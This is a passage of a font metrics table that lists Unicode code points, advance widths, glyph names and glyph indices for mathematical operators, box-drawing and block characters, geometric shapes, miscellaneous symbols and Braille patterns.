U 8723 ; WX 838 ; N uni2213 ; G 2257
U 8724 ; WX 838 ; N uni2214 ; G 2258
U 8725 ; WX 337 ; N uni2215 ; G 2259
U 8727 ; WX 680 ; N asteriskmath ; G 2260
U 8728 ; WX 490 ; N uni2218 ; G 2261
U 8729 ; WX 490 ; N uni2219 ; G 2262
U 8730 ; WX 637 ; N radical ; G 2263
U 8731 ; WX 637 ; N uni221B ; G 2264
U 8732 ; WX 637 ; N uni221C ; G 2265
U 8733 ; WX 677 ; N proportional ; G 2266
U 8734 ; WX 833 ; N infinity ; G 2267
U 8735 ; WX 838 ; N orthogonal ; G 2268
U 8736 ; WX 838 ; N angle ; G 2269
U 8739 ; WX 291 ; N uni2223 ; G 2270
U 8740 ; WX 479 ; N uni2224 ; G 2271
U 8741 ; WX 462 ; N uni2225 ; G 2272
U 8742 ; WX 634 ; N uni2226 ; G 2273
U 8743 ; WX 732 ; N logicaland ; G 2274
U 8744 ; WX 732 ; N logicalor ; G 2275
U 8745 ; WX 838 ; N intersection ; G 2276
U 8746 ; WX 838 ; N union ; G 2277
U 8747 ; WX 521 ; N integral ; G 2278
U 8748 ; WX 852 ; N uni222C ; G 2279
U 8749 ; WX 1182 ; N uni222D ; G 2280
U 8760 ; WX 838 ; N uni2238 ; G 2281
U 8761 ; WX 838 ; N uni2239 ; G 2282
U 8762 ; WX 838 ; N uni223A ; G 2283
U 8763 ; WX 838 ; N uni223B ; G 2284
U 8764 ; WX 838 ; N similar ; G 2285
U 8765 ; WX 838 ; N uni223D ; G 2286
U 8770 ; WX 838 ; N uni2242 ; G 2287
U 8771 ; WX 838 ; N uni2243 ; G 2288
U 8776 ; WX 838 ; N approxequal ; G 2289
U 8784 ; WX 838 ; N uni2250 ; G 2290
U 8785 ; WX 838 ; N uni2251 ; G 2291
U 8786 ; WX 838 ; N uni2252 ; G 2292
U 8787 ; WX 838 ; N uni2253 ; G 2293
U 8788 ; WX 1033 ; N uni2254 ; G 2294
U 8789 ; WX 1033 ; N uni2255 ; G 2295
U 8800 ; WX 838 ; N notequal ; G 2296
U 8801 ; WX 838 ; N equivalence ; G 2297
U 8804 ; WX 838 ; N lessequal ; G 2298
U 8805 ; WX 838 ; N greaterequal ; G 2299
U 8834 ; WX 838 ; N propersubset ; G 2300
U 8835 ; WX 838 ; N propersuperset ; G 2301
U 8836 ; WX 838 ; N notsubset ; G 2302
U 8837 ; WX 838 ; N uni2285 ; G 2303
U 8838 ; WX 838 ; N reflexsubset ; G 2304
U 8839 ; WX 838 ; N reflexsuperset ; G 2305
U 8844 ; WX 838 ; N uni228C ; G 2306
U 8845 ; WX 838 ; N uni228D ; G 2307
U 8846 ; WX 838 ; N uni228E ; G 2308
U 8847 ; WX 846 ; N uni228F ; G 2309
U 8848 ; WX 846 ; N uni2290 ; G 2310
U 8849 ; WX 846 ; N uni2291 ; G 2311
U 8850 ; WX 846 ; N uni2292 ; G 2312
U 8851 ; WX 838 ; N uni2293 ; G 2313
U 8852 ; WX 838 ; N uni2294 ; G 2314
U 8853 ; WX 838 ; N circleplus ; G 2315
U 8854 ; WX 838 ; N uni2296 ; G 2316
U 8855 ; WX 838 ; N circlemultiply ; G 2317
U 8856 ; WX 838 ; N uni2298 ; G 2318
U 8857 ; WX 838 ; N uni2299 ; G 2319
U 8858 ; WX 838 ; N uni229A ; G 2320
U 8859 ; WX 838 ; N uni229B ; G 2321
U 8860 ; WX 838 ; N uni229C ; G 2322
U 8861 ; WX 838 ; N uni229D ; G 2323
U 8862 ; WX 838 ; N uni229E ; G 2324
U 8863 ; WX 838 ; N uni229F ; G 2325
U 8864 ; WX 838 ; N uni22A0 ; G 2326
U 8865 ; WX 838 ; N uni22A1 ; G 2327
U 8866 ; WX 860 ; N uni22A2 ; G 2328
U 8867 ; WX 860 ; N uni22A3 ; G 2329
U 8868 ; WX 940 ; N uni22A4 ; G 2330
U 8869 ; WX 940 ; N perpendicular ; G 2331
U 8870 ; WX 567 ; N uni22A6 ; G 2332
U 8871 ; WX 567 ; N uni22A7 ; G 2333
U 8872 ; WX 860 ; N uni22A8 ; G 2334
U 8873 ; WX 860 ; N uni22A9 ; G 2335
U 8874 ; WX 860 ; N uni22AA ; G 2336
U 8875 ; WX 1031 ; N uni22AB ; G 2337
U 8876 ; WX 860 ; N uni22AC ; G 2338
U 8877 ; WX 860 ; N uni22AD ; G 2339
U 8878 ; WX 860 ; N uni22AE ; G 2340
U 8879 ; WX 1031 ; N uni22AF ; G 2341
U 8900 ; WX 626 ; N uni22C4 ; G 2342
U 8901 ; WX 342 ; N dotmath ; G 2343
U 8962 ; WX 764 ; N house ; G 2344
U 8968 ; WX 390 ; N uni2308 ; G 2345
U 8969 ; WX 390 ; N uni2309 ; G 2346
U 8970 ; WX 390 ; N uni230A ; G 2347
U 8971 ; WX 390 ; N uni230B ; G 2348
U 8976 ; WX 838 ; N revlogicalnot ; G 2349
U 8977 ; WX 513 ; N uni2311 ; G 2350
U 8984 ; WX 1000 ; N uni2318 ; G 2351
U 8985 ; WX 838 ; N uni2319 ; G 2352
U 8992 ; WX 521 ; N integraltp ; G 2353
U 8993 ; WX 521 ; N integralbt ; G 2354
U 8997 ; WX 1000 ; N uni2325 ; G 2355
U 9000 ; WX 1443 ; N uni2328 ; G 2356
U 9085 ; WX 919 ; N uni237D ; G 2357
U 9115 ; WX 500 ; N uni239B ; G 2358
U 9116 ; WX 500 ; N uni239C ; G 2359
U 9117 ; WX 500 ; N uni239D ; G 2360
U 9118 ; WX 500 ; N uni239E ; G 2361
U 9119 ; WX 500 ; N uni239F ; G 2362
U 9120 ; WX 500 ; N uni23A0 ; G 2363
U 9121 ; WX 500 ; N uni23A1 ; G 2364
U 9122 ; WX 500 ; N uni23A2 ; G 2365
U 9123 ; WX 500 ; N uni23A3 ; G 2366
U 9124 ; WX 500 ; N uni23A4 ; G 2367
U 9125 ; WX 500 ; N uni23A5 ; G 2368
U 9126 ; WX 500 ; N uni23A6 ; G 2369
U 9127 ; WX 750 ; N uni23A7 ; G 2370
U 9128 ; WX 750 ; N uni23A8 ; G 2371
U 9129 ; WX 750 ; N uni23A9 ; G 2372
U 9130 ; WX 750 ; N uni23AA ; G 2373
U 9131 ; WX 750 ; N uni23AB ; G 2374
U 9132 ; WX 750 ; N uni23AC ; G 2375
U 9133 ; WX 750 ; N uni23AD ; G 2376
U 9134 ; WX 521 ; N uni23AE ; G 2377
U 9143 ; WX 637 ; N uni23B7 ; G 2378
U 9167 ; WX 945 ; N uni23CF ; G 2379
U 9251 ; WX 764 ; N uni2423 ; G 2380
U 9472 ; WX 602 ; N SF100000 ; G 2381
U 9473 ; WX 602 ; N uni2501 ; G 2382
U 9474 ; WX 602 ; N SF110000 ; G 2383
U 9475 ; WX 602 ; N uni2503 ; G 2384
U 9476 ; WX 602 ; N uni2504 ; G 2385
U 9477 ; WX 602 ; N uni2505 ; G 2386
U 9478 ; WX 602 ; N uni2506 ; G 2387
U 9479 ; WX 602 ; N uni2507 ; G 2388
U 9480 ; WX 602 ; N uni2508 ; G 2389
U 9481 ; WX 602 ; N uni2509 ; G 2390
U 9482 ; WX 602 ; N uni250A ; G 2391
U 9483 ; WX 602 ; N uni250B ; G 2392
U 9484 ; WX 602 ; N SF010000 ; G 2393
U 9485 ; WX 602 ; N uni250D ; G 2394
U 9486 ; WX 602 ; N uni250E ; G 2395
U 9487 ; WX 602 ; N uni250F ; G 2396
U 9488 ; WX 602 ; N SF030000 ; G 2397
U 9489 ; WX 602 ; N uni2511 ; G 2398
U 9490 ; WX 602 ; N uni2512 ; G 2399
U 9491 ; WX 602 ; N uni2513 ; G 2400
U 9492 ; WX 602 ; N SF020000 ; G 2401
U 9493 ; WX 602 ; N uni2515 ; G 2402
U 9494 ; WX 602 ; N uni2516 ; G 2403
U 9495 ; WX 602 ; N uni2517 ; G 2404
U 9496 ; WX 602 ; N SF040000 ; G 2405
U 9497 ; WX 602 ; N uni2519 ; G 2406
U 9498 ; WX 602 ; N uni251A ; G 2407
U 9499 ; WX 602 ; N uni251B ; G 2408
U 9500 ; WX 602 ; N SF080000 ; G 2409
U 9501 ; WX 602 ; N uni251D ; G 2410
U 9502 ; WX 602 ; N uni251E ; G 2411
U 9503 ; WX 602 ; N uni251F ; G 2412
U 9504 ; WX 602 ; N uni2520 ; G 2413
U 9505 ; WX 602 ; N uni2521 ; G 2414
U 9506 ; WX 602 ; N uni2522 ; G 2415
U 9507 ; WX 602 ; N uni2523 ; G 2416
U 9508 ; WX 602 ; N SF090000 ; G 2417
U 9509 ; WX 602 ; N uni2525 ; G 2418
U 9510 ; WX 602 ; N uni2526 ; G 2419
U 9511 ; WX 602 ; N uni2527 ; G 2420
U 9512 ; WX 602 ; N uni2528 ; G 2421
U 9513 ; WX 602 ; N uni2529 ; G 2422
U 9514 ; WX 602 ; N uni252A ; G 2423
U 9515 ; WX 602 ; N uni252B ; G 2424
U 9516 ; WX 602 ; N SF060000 ; G 2425
U 9517 ; WX 602 ; N uni252D ; G 2426
U 9518 ; WX 602 ; N uni252E ; G 2427
U 9519 ; WX 602 ; N uni252F ; G 2428
U 9520 ; WX 602 ; N uni2530 ; G 2429
U 9521 ; WX 602 ; N uni2531 ; G 2430
U 9522 ; WX 602 ; N uni2532 ; G 2431
U 9523 ; WX 602 ; N uni2533 ; G 2432
U 9524 ; WX 602 ; N SF070000 ; G 2433
U 9525 ; WX 602 ; N uni2535 ; G 2434
U 9526 ; WX 602 ; N uni2536 ; G 2435
U 9527 ; WX 602 ; N uni2537 ; G 2436
U 9528 ; WX 602 ; N uni2538 ; G 2437
U 9529 ; WX 602 ; N uni2539 ; G 2438
U 9530 ; WX 602 ; N uni253A ; G 2439
U 9531 ; WX 602 ; N uni253B ; G 2440
U 9532 ; WX 602 ; N SF050000 ; G 2441
U 9533 ; WX 602 ; N uni253D ; G 2442
U 9534 ; WX 602 ; N uni253E ; G 2443
U 9535 ; WX 602 ; N uni253F ; G 2444
U 9536 ; WX 602 ; N uni2540 ; G 2445
U 9537 ; WX 602 ; N uni2541 ; G 2446
U 9538 ; WX 602 ; N uni2542 ; G 2447
U 9539 ; WX 602 ; N uni2543 ; G 2448
U 9540 ; WX 602 ; N uni2544 ; G 2449
U 9541 ; WX 602 ; N uni2545 ; G 2450
U 9542 ; WX 602 ; N uni2546 ; G 2451
U 9543 ; WX 602 ; N uni2547 ; G 2452
U 9544 ; WX 602 ; N uni2548 ; G 2453
U 9545 ; WX 602 ; N uni2549 ; G 2454
U 9546 ; WX 602 ; N uni254A ; G 2455
U 9547 ; WX 602 ; N uni254B ; G 2456
U 9548 ; WX 602 ; N uni254C ; G 2457
U 9549 ; WX 602 ; N uni254D ; G 2458
U 9550 ; WX 602 ; N uni254E ; G 2459
U 9551 ; WX 602 ; N uni254F ; G 2460
U 9552 ; WX 602 ; N SF430000 ; G 2461
U 9553 ; WX 602 ; N SF240000 ; G 2462
U 9554 ; WX 602 ; N SF510000 ; G 2463
U 9555 ; WX 602 ; N SF520000 ; G 2464
U 9556 ; WX 602 ; N SF390000 ; G 2465
U 9557 ; WX 602 ; N SF220000 ; G 2466
U 9558 ; WX 602 ; N SF210000 ; G 2467
U 9559 ; WX 602 ; N SF250000 ; G 2468
U 9560 ; WX 602 ; N SF500000 ; G 2469
U 9561 ; WX 602 ; N SF490000 ; G 2470
U 9562 ; WX 602 ; N SF380000 ; G 2471
U 9563 ; WX 602 ; N SF280000 ; G 2472
U 9564 ; WX 602 ; N SF270000 ; G 2473
U 9565 ; WX 602 ; N SF260000 ; G 2474
U 9566 ; WX 602 ; N SF360000 ; G 2475
U 9567 ; WX 602 ; N SF370000 ; G 2476
U 9568 ; WX 602 ; N SF420000 ; G 2477
U 9569 ; WX 602 ; N SF190000 ; G 2478
U 9570 ; WX 602 ; N SF200000 ; G 2479
U 9571 ; WX 602 ; N SF230000 ; G 2480
U 9572 ; WX 602 ; N SF470000 ; G 2481
U 9573 ; WX 602 ; N SF480000 ; G 2482
U 9574 ; WX 602 ; N SF410000 ; G 2483
U 9575 ; WX 602 ; N SF450000 ; G 2484
U 9576 ; WX 602 ; N SF460000 ; G 2485
U 9577 ; WX 602 ; N SF400000 ; G 2486
U 9578 ; WX 602 ; N SF540000 ; G 2487
U 9579 ; WX 602 ; N SF530000 ; G 2488
U 9580 ; WX 602 ; N SF440000 ; G 2489
U 9581 ; WX 602 ; N uni256D ; G 2490
U 9582 ; WX 602 ; N uni256E ; G 2491
U 9583 ; WX 602 ; N uni256F ; G 2492
U 9584 ; WX 602 ; N uni2570 ; G 2493
U 9585 ; WX 602 ; N uni2571 ; G 2494
U 9586 ; WX 602 ; N uni2572 ; G 2495
U 9587 ; WX 602 ; N uni2573 ; G 2496
U 9588 ; WX 602 ; N uni2574 ; G 2497
U 9589 ; WX 602 ; N uni2575 ; G 2498
U 9590 ; WX 602 ; N uni2576 ; G 2499
U 9591 ; WX 602 ; N uni2577 ; G 2500
U 9592 ; WX 602 ; N uni2578 ; G 2501
U 9593 ; WX 602 ; N uni2579 ; G 2502
U 9594 ; WX 602 ; N uni257A ; G 2503
U 9595 ; WX 602 ; N uni257B ; G 2504
U 9596 ; WX 602 ; N uni257C ; G 2505
U 9597 ; WX 602 ; N uni257D ; G 2506
U 9598 ; WX 602 ; N uni257E ; G 2507
U 9599 ; WX 602 ; N uni257F ; G 2508
U 9600 ; WX 769 ; N upblock ; G 2509
U 9601 ; WX 769 ; N uni2581 ; G 2510
U 9602 ; WX 769 ; N uni2582 ; G 2511
U 9603 ; WX 769 ; N uni2583 ; G 2512
U 9604 ; WX 769 ; N dnblock ; G 2513
U 9605 ; WX 769 ; N uni2585 ; G 2514
U 9606 ; WX 769 ; N uni2586 ; G 2515
U 9607 ; WX 769 ; N uni2587 ; G 2516
U 9608 ; WX 769 ; N block ; G 2517
U 9609 ; WX 769 ; N uni2589 ; G 2518
U 9610 ; WX 769 ; N uni258A ; G 2519
U 9611 ; WX 769 ; N uni258B ; G 2520
U 9612 ; WX 769 ; N lfblock ; G 2521
U 9613 ; WX 769 ; N uni258D ; G 2522
U 9614 ; WX 769 ; N uni258E ; G 2523
U 9615 ; WX 769 ; N uni258F ; G 2524
U 9616 ; WX 769 ; N rtblock ; G 2525
U 9617 ; WX 769 ; N ltshade ; G 2526
U 9618 ; WX 769 ; N shade ; G 2527
U 9619 ; WX 769 ; N dkshade ; G 2528
U 9620 ; WX 769 ; N uni2594 ; G 2529
U 9621 ; WX 769 ; N uni2595 ; G 2530
U 9622 ; WX 769 ; N uni2596 ; G 2531
U 9623 ; WX 769 ; N uni2597 ; G 2532
U 9624 ; WX 769 ; N uni2598 ; G 2533
U 9625 ; WX 769 ; N uni2599 ; G 2534
U 9626 ; WX 769 ; N uni259A ; G 2535
U 9627 ; WX 769 ; N uni259B ; G 2536
U 9628 ; WX 769 ; N uni259C ; G 2537
U 9629 ; WX 769 ; N uni259D ; G 2538
U 9630 ; WX 769 ; N uni259E ; G 2539
U 9631 ; WX 769 ; N uni259F ; G 2540
U 9632 ; WX 945 ; N filledbox ; G 2541
U 9633 ; WX 945 ; N H22073 ; G 2542
U 9634 ; WX 945 ; N uni25A2 ; G 2543
U 9635 ; WX 945 ; N uni25A3 ; G 2544
U 9636 ; WX 945 ; N uni25A4 ; G 2545
U 9637 ; WX 945 ; N uni25A5 ; G 2546
U 9638 ; WX 945 ; N uni25A6 ; G 2547
U 9639 ; WX 945 ; N uni25A7 ; G 2548
U 9640 ; WX 945 ; N uni25A8 ; G 2549
U 9641 ; WX 945 ; N uni25A9 ; G 2550
U 9642 ; WX 678 ; N H18543 ; G 2551
U 9643 ; WX 678 ; N H18551 ; G 2552
U 9644 ; WX 945 ; N filledrect ; G 2553
U 9645 ; WX 945 ; N uni25AD ; G 2554
U 9646 ; WX 550 ; N uni25AE ; G 2555
U 9647 ; WX 550 ; N uni25AF ; G 2556
U 9648 ; WX 769 ; N uni25B0 ; G 2557
U 9649 ; WX 769 ; N uni25B1 ; G 2558
U 9650 ; WX 769 ; N triagup ; G 2559
U 9651 ; WX 769 ; N uni25B3 ; G 2560
U 9652 ; WX 502 ; N uni25B4 ; G 2561
U 9653 ; WX 502 ; N uni25B5 ; G 2562
U 9654 ; WX 769 ; N uni25B6 ; G 2563
U 9655 ; WX 769 ; N uni25B7 ; G 2564
U 9656 ; WX 502 ; N uni25B8 ; G 2565
U 9657 ; WX 502 ; N uni25B9 ; G 2566
U 9658 ; WX 769 ; N triagrt ; G 2567
U 9659 ; WX 769 ; N uni25BB ; G 2568
U 9660 ; WX 769 ; N triagdn ; G 2569
U 9661 ; WX 769 ; N uni25BD ; G 2570
U 9662 ; WX 502 ; N uni25BE ; G 2571
U 9663 ; WX 502 ; N uni25BF ; G 2572
U 9664 ; WX 769 ; N uni25C0 ; G 2573
U 9665 ; WX 769 ; N uni25C1 ; G 2574
U 9666 ; WX 502 ; N uni25C2 ; G 2575
U 9667 ; WX 502 ; N uni25C3 ; G 2576
U 9668 ; WX 769 ; N triaglf ; G 2577
U 9669 ; WX 769 ; N uni25C5 ; G 2578
U 9670 ; WX 769 ; N uni25C6 ; G 2579
U 9671 ; WX 769 ; N uni25C7 ; G 2580
U 9672 ; WX 769 ; N uni25C8 ; G 2581
U 9673 ; WX 873 ; N uni25C9 ; G 2582
U 9674 ; WX 494 ; N lozenge ; G 2583
U 9675 ; WX 873 ; N circle ; G 2584
U 9676 ; WX 873 ; N uni25CC ; G 2585
U 9677 ; WX 873 ; N uni25CD ; G 2586
U 9678 ; WX 873 ; N uni25CE ; G 2587
U 9679 ; WX 873 ; N H18533 ; G 2588
U 9680 ; WX 873 ; N uni25D0 ; G 2589
U 9681 ; WX 873 ; N uni25D1 ; G 2590
U 9682 ; WX 873 ; N uni25D2 ; G 2591
U 9683 ; WX 873 ; N uni25D3 ; G 2592
U 9684 ; WX 873 ; N uni25D4 ; G 2593
U 9685 ; WX 873 ; N uni25D5 ; G 2594
U 9686 ; WX 527 ; N uni25D6 ; G 2595
U 9687 ; WX 527 ; N uni25D7 ; G 2596
U 9688 ; WX 791 ; N invbullet ; G 2597
U 9689 ; WX 970 ; N invcircle ; G 2598
U 9690 ; WX 970 ; N uni25DA ; G 2599
U 9691 ; WX 970 ; N uni25DB ; G 2600
U 9692 ; WX 387 ; N uni25DC ; G 2601
U 9693 ; WX 387 ; N uni25DD ; G 2602
U 9694 ; WX 387 ; N uni25DE ; G 2603
U 9695 ; WX 387 ; N uni25DF ; G 2604
U 9696 ; WX 873 ; N uni25E0 ; G 2605
U 9697 ; WX 873 ; N uni25E1 ; G 2606
U 9698 ; WX 769 ; N uni25E2 ; G 2607
U 9699 ; WX 769 ; N uni25E3 ; G 2608
U 9700 ; WX 769 ; N uni25E4 ; G 2609
U 9701 ; WX 769 ; N uni25E5 ; G 2610
U 9702 ; WX 590 ; N openbullet ; G 2611
U 9703 ; WX 945 ; N uni25E7 ; G 2612
U 9704 ; WX 945 ; N uni25E8 ; G 2613
U 9705 ; WX 945 ; N uni25E9 ; G 2614
U 9706 ; WX 945 ; N uni25EA ; G 2615
U 9707 ; WX 945 ; N uni25EB ; G 2616
U 9708 ; WX 769 ; N uni25EC ; G 2617
U 9709 ; WX 769 ; N uni25ED ; G 2618
U 9710 ; WX 769 ; N uni25EE ; G 2619
U 9711 ; WX 1119 ; N uni25EF ; G 2620
U 9712 ; WX 945 ; N uni25F0 ; G 2621
U 9713 ; WX 945 ; N uni25F1 ; G 2622
U 9714 ; WX 945 ; N uni25F2 ; G 2623
U 9715 ; WX 945 ; N uni25F3 ; G 2624
U 9716 ; WX 873 ; N uni25F4 ; G 2625
U 9717 ; WX 873 ; N uni25F5 ; G 2626
U 9718 ; WX 873 ; N uni25F6 ; G 2627
U 9719 ; WX 873 ; N uni25F7 ; G 2628
U 9720 ; WX 769 ; N uni25F8 ; G 2629
U 9721 ; WX 769 ; N uni25F9 ; G 2630
U 9722 ; WX 769 ; N uni25FA ; G 2631
U 9723 ; WX 830 ; N uni25FB ; G 2632
U 9724 ; WX 830 ; N uni25FC ; G 2633
U 9725 ; WX 732 ; N uni25FD ; G 2634
U 9726 ; WX 732 ; N uni25FE ; G 2635
U 9727 ; WX 769 ; N uni25FF ; G 2636
U 9728 ; WX 896 ; N uni2600 ; G 2637
U 9784 ; WX 896 ; N uni2638 ; G 2638
U 9785 ; WX 896 ; N uni2639 ; G 2639
U 9786 ; WX 896 ; N smileface ; G 2640
U 9787 ; WX 896 ; N invsmileface ; G 2641
U 9788 ; WX 896 ; N sun ; G 2642
U 9791 ; WX 614 ; N uni263F ; G 2643
U 9792 ; WX 731 ; N female ; G 2644
U 9793 ; WX 731 ; N uni2641 ; G 2645
U 9794 ; WX 896 ; N male ; G 2646
U 9795 ; WX 896 ; N uni2643 ; G 2647
U 9796 ; WX 896 ; N uni2644 ; G 2648
U 9797 ; WX 896 ; N uni2645 ; G 2649
U 9798 ; WX 896 ; N uni2646 ; G 2650
U 9799 ; WX 896 ; N uni2647 ; G 2651
U 9824 ; WX 896 ; N spade ; G 2652
U 9825 ; WX 896 ; N uni2661 ; G 2653
U 9826 ; WX 896 ; N uni2662 ; G 2654
U 9827 ; WX 896 ; N club ; G 2655
U 9828 ; WX 896 ; N uni2664 ; G 2656
U 9829 ; WX 896 ; N heart ; G 2657
U 9830 ; WX 896 ; N diamond ; G 2658
U 9831 ; WX 896 ; N uni2667 ; G 2659
U 9833 ; WX 472 ; N uni2669 ; G 2660
U 9834 ; WX 638 ; N musicalnote ; G 2661
U 9835 ; WX 896 ; N musicalnotedbl ; G 2662
U 9836 ; WX 896 ; N uni266C ; G 2663
U 9837 ; WX 472 ; N uni266D ; G 2664
U 9838 ; WX 357 ; N uni266E ; G 2665
U 9839 ; WX 484 ; N uni266F ; G 2666
U 10145 ; WX 838 ; N uni27A1 ; G 2667
U 10181 ; WX 390 ; N uni27C5 ; G 2668
U 10182 ; WX 390 ; N uni27C6 ; G 2669
U 10208 ; WX 494 ; N uni27E0 ; G 2670
U 10216 ; WX 390 ; N uni27E8 ; G 2671
U 10217 ; WX 390 ; N uni27E9 ; G 2672
U 10224 ; WX 838 ; N uni27F0 ; G 2673
U 10225 ; WX 838 ; N uni27F1 ; G 2674
U 10226 ; WX 838 ; N uni27F2 ; G 2675
U 10227 ; WX 838 ; N uni27F3 ; G 2676
U 10228 ; WX 1033 ; N uni27F4 ; G 2677
U 10229 ; WX 1434 ; N uni27F5 ; G 2678
U 10230 ; WX 1434 ; N uni27F6 ; G 2679
U 10231 ; WX 1434 ; N uni27F7 ; G 2680
U 10232 ; WX 1434 ; N uni27F8 ; G 2681
U 10233 ; WX 1434 ; N uni27F9 ; G 2682
U 10234 ; WX 1434 ; N uni27FA ; G 2683
U 10235 ; WX 1434 ; N uni27FB ; G 2684
U 10236 ; WX 1434 ; N uni27FC ; G 2685
U 10237 ; WX 1434 ; N uni27FD ; G 2686
U 10238 ; WX 1434 ; N uni27FE ; G 2687
U 10239 ; WX 1434 ; N uni27FF ; G 2688
U 10240 ; WX 732 ; N uni2800 ; G 2689
U 10241 ; WX 732 ; N uni2801 ; G 2690
U 10242 ; WX 732 ; N uni2802 ; G 2691
U 10243 ; WX 732 ; N uni2803 ; G 2692
U 10244 ; WX 732 ; N uni2804 ; G 2693
U 10245 ; WX 732 ; N uni2805 ; G 2694
U 10246 ; WX 732 ; N uni2806 ; G 2695
U 10247 ; WX 732 ; N uni2807 ; G 2696
U 10248 ; WX 732 ; N uni2808 ; G 2697
U 10249 ; WX 732 ; N uni2809 ; G 2698
U 10250 ; WX 732 ; N uni280A ; G 2699
U 10251 ; WX 732 ; N uni280B ; G 2700
U 10252 ; WX 732 ; N uni280C ; G 2701
U 10253 ; WX 732 ; N uni280D ; G 2702
U 10254 ; WX 732 ; N uni280E ; G 2703
U 10255 ; WX 732 ; N uni280F ; G 2704
U 10256 ; WX 732 ; N uni2810 ; G 2705
U 10257 ; WX 732 ; N uni2811 ; G 2706
U 10258 ; WX 732 ; N uni2812 ; G 2707
U 10259 ; WX 732 ; N uni2813 ; G 2708
U 10260 ; WX 732 ; N uni2814 ; G 2709
U 10261 ; WX 732 ; N uni2815 ; G 2710
U 10262 ; WX 732 ; N uni2816 ; G 2711
U 10263 ; WX 732 ; N uni2817 ; G 2712
U 10264 ; WX 732 ; N uni2818 ; G 2713
U 10265 ; WX 732 ; N uni2819 ; G 2714
U 10266 ; WX 732 ; N uni281A ; G 2715
U 10267 ; WX 732 ; N uni281B ; G 2716
U 10268 ; WX 732 ; N uni281C ; G 2717
U 10269 ; WX 732 ; N uni281D ; G 2718
U 10270 ; WX 732 ; N uni281E ; G 2719
U 10271 ; WX 732 ; N uni281F ; G 2720
U 10272 ; WX 732 ; N uni2820 ; G 2721
U 10273 ; WX 732 ; N uni2821 ; G 2722
U 10274 ; WX 732 ; N uni2822 ; G 2723
U 10275 ; WX 732 ; N uni2823 ; G 2724
U 10276 ; WX 732 ; N uni2824 ; G 2725
U 10277 ; WX 732 ; N uni2825 ; G 2726
U 10278 ; WX 732 ; N uni2826 ; G 2727
U 10279 ; WX 732 ; N uni2827 ; G 2728
U 10280 ; WX 732 ; N uni2828 ; G 2729
U 10281 ; WX 732 ; N uni2829 ; G 2730
U 10282 ; WX 732 ; N uni282A ; G 2731
U 10283 ; WX 732 ; N uni282B ; G 2732
U 10284 ; WX 732 ; N uni282C ; G 2733
U 10285 ; WX 732 ; N uni282D ; G 2734
U 10286 ; WX 732 ; N uni282E ; G 2735
U 10287 ; WX 732 ; N uni282F ; G 2736
U 10288 ; WX 732 ; N uni2830 ; G 2737
U 10289 ; WX 732 ; N uni2831 ; G 2738
U 10290 ; WX 732 ; N uni2832 ; G 2739
U 10291 ; WX 732 ; N uni2833 ; G 2740
U 10292 ; WX 732 ; N uni2834 ; G 2741
U 10293 ; WX 732 ; N uni2835 ; G 2742
U 10294 ; WX 732 ; N uni2836 ; G 2743
U 10295 ; WX 732 ; N uni2837 ; G 2744
U 10296 ; WX 732 ; N uni2838 ; G 2745
U 10297 ; WX 732 ; N uni2839 ; G 2746
U 10298 ; WX 732 ; N uni283A ; G 2747
U 10299 ; WX 732 ; N uni283B ; G 2748
U 10300 ; WX 732 ; N uni283C ; G 2749
U 10301 ; WX 732 ; N uni283D ; G 2750
U 10302 ; WX 732 ; N uni283E ; G 2751
U 10303 ; WX 732 ; N uni283F ; G 2752
U 10304 ; WX 732 ; N uni2840 ; G 2753
U 10305 ; WX 732 ; N uni2841 ; G 2754
U 10306 ; WX 732 ; N uni2842 ; G 2755
U 10307 ; WX 732 ; N uni2843 ; G 2756
U 10308 ; WX 732 ; N uni2844 ; G 2757
U 10309 ; WX 732 ; N uni2845 ; G 2758
U 10310 ; WX 732 ; N uni2846 ; G 2759
U 10311 ; WX 732 ; N uni2847 ; G 2760
U 10312 ; WX 732 ; N uni2848 ; G 2761
U 10313 ; WX 732 ; N uni2849 ; G 2762
U 10314 ; WX 732 ; N uni284A ; G 2763
U 10315 ; WX 732 ; N uni284B ; G 2764
U 10316 ; WX 732 ; N uni284C ; G 2765
U 10317 ; WX 732 ; N uni284D ; G 2766
U 10318 ; WX 732 ; N uni284E ; G 2767
U 10319 ; WX 732 ; N uni284F ; G 2768
U 10320 ; WX 732 ; N uni2850 ; G 2769
U 10321 ; WX 732 ; N uni2851 ; G 2770
U 10322 ; WX 732 ; N uni2852 ; G 2771
U 10323 ; WX 732 ; N uni2853 ; G 2772
U 10324 ; WX 732 ; N uni2854 ; G 2773
U 10325 ; WX 732 ; N uni2855 ; G 2774
U 10326 ; WX 732 ; N uni2856 ; G 2775
U 10327 ; WX 732 ; N uni2857 ; G 2776
U 10328 ; WX 732 ; N uni2858 ; G 2777
U 10329 ; WX 732 ; N uni2859 ; G 2778
U 10330 ; WX 732 ; N uni285A ; G 2779
U 10331 ; WX 732 ; N uni285B ; G 2780
U 10332 ; WX 732 ; N uni285C ; G 2781
U 10333 ; WX 732 ; N uni285D ; G 2782
U 10334 ; WX 732 ; N uni285E ; G 2783
U 10335 ; WX 732 ; N uni285F ; G 2784
U 10336 ; WX 732 ; N uni2860 ; G 2785
U 10337 ; WX 732 ; N uni2861 ; G 2786
U 10338 ; WX 732 ; N uni2862 ; G 2787
U 10339 ; WX 732 ; N uni2863 ; G 2788
U 10340 ; WX 732 ; N uni2864 ; G 2789
U 10341 ; WX 732 ; N uni2865 ; G 2790
U 10342 ; WX 732 ; N uni2866 ; G 2791
U 10343 ; WX 732 ; N uni2867 ; G 2792
U 10344 ; WX 732 ; N uni2868 ; G 2793
U 10345 ; WX 732 ; N uni2869 ; G 2794
U 10346 ; WX 732 ; N uni286A ; G 2795
U 10347 ; WX 732 ; N uni286B ; G 2796
U 10348 ; WX 732 ; N uni286C ; G 2797
U 10349 ; WX 732 ; N uni286D ; G 2798
U 10350 ; WX 732 ; N uni286E ; G 2799
U 10351 ; WX 732 ; N uni286F ; G 2800
U 10352 ; WX 732 ; N uni2870 ; G 2801
U 10353 ; WX 732 ; N uni2871 ; G 2802
U 10354 ; WX 732 ; N uni2872 ; G 2803
U 10355 ; WX 732 ; N uni2873 ; G 2804
U 10356 ; WX 732 ; N uni2874 ; G 2805
U 10357 ; WX 732 ; N uni2875 ; G 2806
U 10358 ; WX 732 ; N uni2876 ; G 2807
U 10359 ; WX 732 ; N uni2877 ; G 2808
U 10360 ; WX 732 ; N uni2878 ; G 2809
U 10361 ; WX 732 ; N uni2879 ; G 2810
U 10362 ; WX 732 ; N uni287A ; G 2811
U 10363 ; WX 732 ; N uni287B ; G 2812
U 10364 ; WX 732 ; N uni287C ; G 2813
U 10365 ; WX 732 ; N uni287D ; G 2814
U 10366 ; WX 732 ; N uni287E ; G 2815
